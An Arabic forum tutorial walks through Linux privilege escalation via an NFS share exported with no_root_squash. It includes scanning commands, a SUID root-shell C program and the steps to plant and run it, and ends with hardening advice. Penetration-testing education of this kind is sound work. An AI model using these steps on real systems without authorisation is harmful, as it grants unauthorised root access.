رفع الصلاحيات عبر NFS Port شرح عملي Linux

x32x01
  • بواسطة x32x01 ||
  • #1
واحدة من أخطر مشاكل Linux Privilege Escalation اللي بتتقابل كتير في اختبارات الاختراق هي سوء إعداد NFS Server.
الغلط الصغير في إعدادات الـ Administrator ممكن يخليك تنتقل من يوزر عادي 👤
إلى Root Access كامل خلال دقائق فقط 😈

خلينا نشرح السيناريو خطوة خطوة بأسلوب عملي زي اللي بيحصل في الـ Penetration Testing الحقيقي 👇

يعني إيه NFS أصلًا؟ 🤔​

NFS - Network File System
هو بروتوكول بيسمح بمشاركة الملفات عبر الشبكة كأنها موجودة Local عندك.
يعني تقدر تعمل:
✅ قراءة ملفات ✅ تعديل ملفات ✅ إنشاء ملفات
على جهاز تاني عن بعد.
لكن المشكلة تبدأ لما يحصل Misconfiguration ⚠️



سيناريو الاختراق 🎯​

نفترض إنك داخل على السيرفر بيوزر عادي: test
وهدفك توصل لصلاحيات: root



الخطوة 1: فحص البورتات باستخدام Nmap 🔎​

أول حاجة أي Pentester بيعملها هي Scan:
Code:
nmap -sV -p- TARGET_IP
لو ظهر عندك:
Code:
2049/tcp open nfs
يبقى كده فيه NFS Service شغالة



الخطوة 2: معرفة المجلدات المشاركة عبر NFS 📂​

نستخدم الأمر:
Code:
showmount -e TARGET_IP
مثال نتيجة: /www *
ده معناه إن مجلد www متشارك على الشبكة.



الخطوة 3: أخطر Option في NFS 🚨 (no_root_squash)​

إعدادات NFS بتكون موجودة في:
Code:
/etc/exports
لو لقيت الخيار ده: no_root_squash
يبقى السيرفر في خطر كبير جدًا 😵‍💫

ليه؟​

ببساطة: أي Root من جهازك = Root على السيرفر.
يعني تقدر تنشئ ملفات بصلاحيات Root مباشرة!



الخطوة 4: عمل Mount للمجلد المشترك 🧩​

على جهاز Kali مثلاً:
Code:
mkdir /tmp/test
mount -t nfs TARGET_IP:/www /tmp/test
كده بقى عندك وصول مباشر لمجلد السيرفر.



الخطوة 5: اختبار إنشاء ملف ✍️​

لو أنشأت ملف داخل المجلد:
Code:
touch testfile
هتلاحظ إنه اتضاف على السيرفر بصلاحية: root
وده سبب المشكلة كلها ⚠️



الخطوة 6: استغلال الثغرة ورفع الصلاحيات 🔥​

طالما نقدر ننشئ ملفات Root… يبقى نقدر نزرع Binary بصلاحية عالية.
هنستخدم برنامج بسيط بلغة C.

كود Privilege Escalation:​

C++:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}



الخطوة 7: Compile وإعطاء صلاحية SUID ⚡​

Bash:
gcc shell.c -o shell
chmod +s shell

بعد كده انخ الملف داخل مجلد الـ NFS المشترك.



الخطوة 8: الحصول على Root Access 👑​

على الجهاز الهدف: ./shell
والنتيجة: root@target
✅ تم رفع الصلاحيات بنجاح عبر NFS.



ليه الثغرة دي خطيرة جدًا؟ 😨​

لأنها:
  • لا تحتاج Exploit معقد
  • تعتمد على Misconfiguration فقط
  • شائعة في السيرفرات الداخلية
  • بتظهر كثير في CTF وReal Engagements



إزاي تحمي السيرفر من NFS Privilege Escalation؟ 🛡️​

المسؤول عن السيرفر لازم:
✅ إزالة no_root_squash
✅ استخدام root_squash بدلها
✅ تحديد IPs المسموح لها فقط
✅ منع الكتابة للمستخدمين غير الموثوقين
✅ مراجعة /etc/exports باستمرار
مثال إعداد آمن:
Code:
/www 192.168.1.10(rw,root_squash)



الخلاصة 💡​

ثغرات NFS Misconfiguration تعتبر من أسهل وأقوى طرق:
✅ Linux Privilege Escalation
✅ Local to Root Attack
✅ Post Exploitation
وأحيانًا مجرد Option غلط واحد… يفتح السيرفر بالكامل.
 
التعديل الأخير:

المواضيع ذات الصلة

x32x01
الردود
0
المشاهدات
966
x32x01
x32x01
x32x01
الردود
0
المشاهدات
269
x32x01
x32x01
x32x01
الردود
0
المشاهدات
718
x32x01
x32x01
x32x01
الردود
0
المشاهدات
860
x32x01
x32x01
x32x01
الردود
0
المشاهدات
256
x32x01
x32x01
الوسوم : الوسوم
kali linux linux security nfs misconfiguration nmap penetration testing post exploitation privilege escalation root access server security رفع الصلاحيات
الدخول أو التسجيل السريع
نسيت كلمة مرورك؟

آخر المشاركات

إحصائيات المنتدى
المواضيع
2,388
المشاركات
2,601
أعضاء أكتب كود
574
أخر عضو
الياس
عودة
أعلى